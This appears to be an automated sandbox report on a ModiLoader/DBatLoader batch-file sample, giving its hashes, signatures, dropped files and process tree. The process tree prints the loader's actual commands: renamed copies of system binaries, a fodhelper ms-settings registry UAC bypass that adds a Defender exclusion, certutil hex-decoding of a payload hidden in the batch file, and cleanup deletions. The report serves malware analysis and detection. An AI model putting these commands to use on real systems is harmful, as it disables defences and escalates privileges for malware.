Analysis

  • max time kernel
    51s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    26/03/2024, 08:25

General

  • Target

    Order inquiry.bat

  • Size

    3.1MB

  • MD5

    77266339f26515585f6996c37e3e7122

  • SHA1

    912e68d372a859015ee5e68e6f01348add0da395

  • SHA256

    4076e46f0972df38325a55a539cdddbd7f9d87b5ffd22cdf53c8187747609cda

  • SHA512

    268022315681c97be24af272fed1c5871e6bb4920b6009ed1df2a37c95cf68991b193d544eaa71412a009cbfa70948b0f57f7eac5619548c469b7a78403f82b7

  • SSDEEP

    24576:ywyJPcV/Hrrz6jT6vaQrAAAy4QE1FpVJQQul6kE82zg38H6HKpLJrvvfzrEZnfQs:JyJPcVHQNQrAAHEPJQT7Z38dEhg3xfO

Score
10/10

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • ModiLoader Second Stage 1 IoCs
  • Executes dropped EXE 16 IoCs
  • Loads dropped DLL 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies registry class 5 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Order inquiry.bat"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2064
    • C:\Windows\system32\cmd.exe
      cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2912
      • C:\Windows\system32\extrac32.exe
        extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
        3⤵
          PID:2916
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2976
        • C:\Windows\system32\extrac32.exe
          extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
          3⤵
            PID:1704
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3008
          • C:\Windows\system32\extrac32.exe
            extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
            3⤵
              PID:2540
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:2592
            • C:\Users\Public\xkn.exe
              C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2644
              • C:\Users\Public\alpha.exe
                "C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                4⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:2708
                • C:\Windows\system32\reg.exe
                  reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                  5⤵
                  • Modifies registry class
                  • Modifies registry key
                  PID:2848
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Order inquiry.bat" "C:\\Users\\Public\\Lewxa.txt" 9
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:2808
            • C:\Users\Public\kn.exe
              C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Order inquiry.bat" "C:\\Users\\Public\\Lewxa.txt" 9
              3⤵
              • Executes dropped EXE
              PID:2476
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:2616
            • C:\Users\Public\kn.exe
              C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
              3⤵
              • Executes dropped EXE
              PID:2692
          • C:\Users\Public\Libraries\Lewxa.com
            C:\\Users\\Public\\Libraries\\Lewxa.com
            2⤵
            • Executes dropped EXE
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:2944
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2944 -s 716
              3⤵
              • Loads dropped DLL
              • Program crash
              PID:2780
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S
            2⤵
            • Executes dropped EXE
            PID:2020
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S
            2⤵
            • Executes dropped EXE
            PID:320
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S
            2⤵
            • Executes dropped EXE
            PID:1520
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S
            2⤵
            • Executes dropped EXE
            PID:2812
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2732
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM SystemSettings.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1968
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
            2⤵
            • Executes dropped EXE
            PID:1924
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM SystemSettingsAdminFlows.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2508

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Public\Lewxa.txt

                Filesize

                2.2MB

                MD5

                5e3260366c3c643511ba9d5f0bffefd4

                SHA1

                ef84ae0ed0a835dda0c8ebab1c166e95e8da1403

                SHA256

                41d8ce140db1ab125f33ac3e8603d01fd85191b37b41314808cb29e069dd4243

                SHA512

                46e1a3f630e0710bb182a0d9cc1876d7df725c818342def0ed1a657cc6b79b9c996ae483d09357344234d725a10c4af037e67ece32293b63fcb4bf7c932acfc7

              • C:\Users\Public\Libraries\Lewxa.com

                Filesize

                1.1MB

                MD5

                aa6d1a831ba292e2670da589b8aea980

                SHA1

                fe61d016a11a1ea9b85bec7139d44b1acbb6bfcd

                SHA256

                f5cd840346c9d16181109ba81cd4206e46f87682799b54eaa0f3cb4689a7d05d

                SHA512

                d0eaa2933b75d9114714ecf6c0f04b1bc4396ee570759bc3d7bfca7426f039d0234ffc6791de66332ce5682dfbc5a6daa1fbb252b68e67c65362e42a5a295c08

              • C:\Users\Public\alpha.exe

                Filesize

                303KB

                MD5

                715f276b8045bc0e5510b4d60cde68b5

                SHA1

                e4878dcb8da163ab85c17d567deda1f1772cdf97

                SHA256

                ab27d8cbf064962aa4016bbbcd21b51c1b90b1c4b1f9c2ee1d6a274c9dff1368

                SHA512

                676f8484008356a071b467ac0a3f6f627244ec2c09506ebcd2433131ac8d5438195810cdca664d7f39d34abf7de18a549909b38db8b40414706976de1e748b2f

              • \Users\Public\alpha.exe

                Filesize

                337KB

                MD5

                5746bd7e255dd6a8afa06f7c42c1ba41

                SHA1

                0f3c4ff28f354aede202d54e9d1c5529a3bf87d8

                SHA256

                db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386

                SHA512

                3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

              • \Users\Public\kn.exe

                Filesize

                1.1MB

                MD5

                ec1fd3050dbc40ec7e87ab99c7ca0b03

                SHA1

                ae7fdfc29f4ef31e38ebf381e61b503038b5cb35

                SHA256

                1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3

                SHA512

                4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

              • \Users\Public\xkn.exe

                Filesize

                462KB

                MD5

                852d67a27e454bd389fa7f02a8cbe23f

                SHA1

                5330fedad485e0e4c23b2abe1075a1f984fde9fc

                SHA256

                a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

                SHA512

                327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

              • memory/2644-33-0x0000000002BE0000-0x0000000002C60000-memory.dmp

                Filesize

                512KB

              • memory/2644-22-0x0000000001BA0000-0x0000000001BA8000-memory.dmp

                Filesize

                32KB

              • memory/2644-31-0x0000000002BE0000-0x0000000002C60000-memory.dmp

                Filesize

                512KB

              • memory/2644-32-0x0000000002BE0000-0x0000000002C60000-memory.dmp

                Filesize

                512KB

              • memory/2644-24-0x0000000002BE0000-0x0000000002C60000-memory.dmp

                Filesize

                512KB

              • memory/2644-34-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

                Filesize

                9.6MB

              • memory/2644-23-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

                Filesize

                9.6MB

              • memory/2644-30-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

                Filesize

                9.6MB

              • memory/2644-21-0x000000001B610000-0x000000001B8F2000-memory.dmp

                Filesize

                2.9MB

              • memory/2944-55-0x0000000003160000-0x0000000004160000-memory.dmp

                Filesize

                16.0MB

              • memory/2944-52-0x0000000000230000-0x0000000000231000-memory.dmp

                Filesize

                4KB

              • memory/2944-59-0x0000000003160000-0x0000000004160000-memory.dmp

                Filesize

                16.0MB

              • memory/2944-62-0x0000000000230000-0x0000000000231000-memory.dmp

                Filesize

                4KB

              • memory/2944-63-0x0000000000400000-0x0000000000527000-memory.dmp

                Filesize

                1.2MB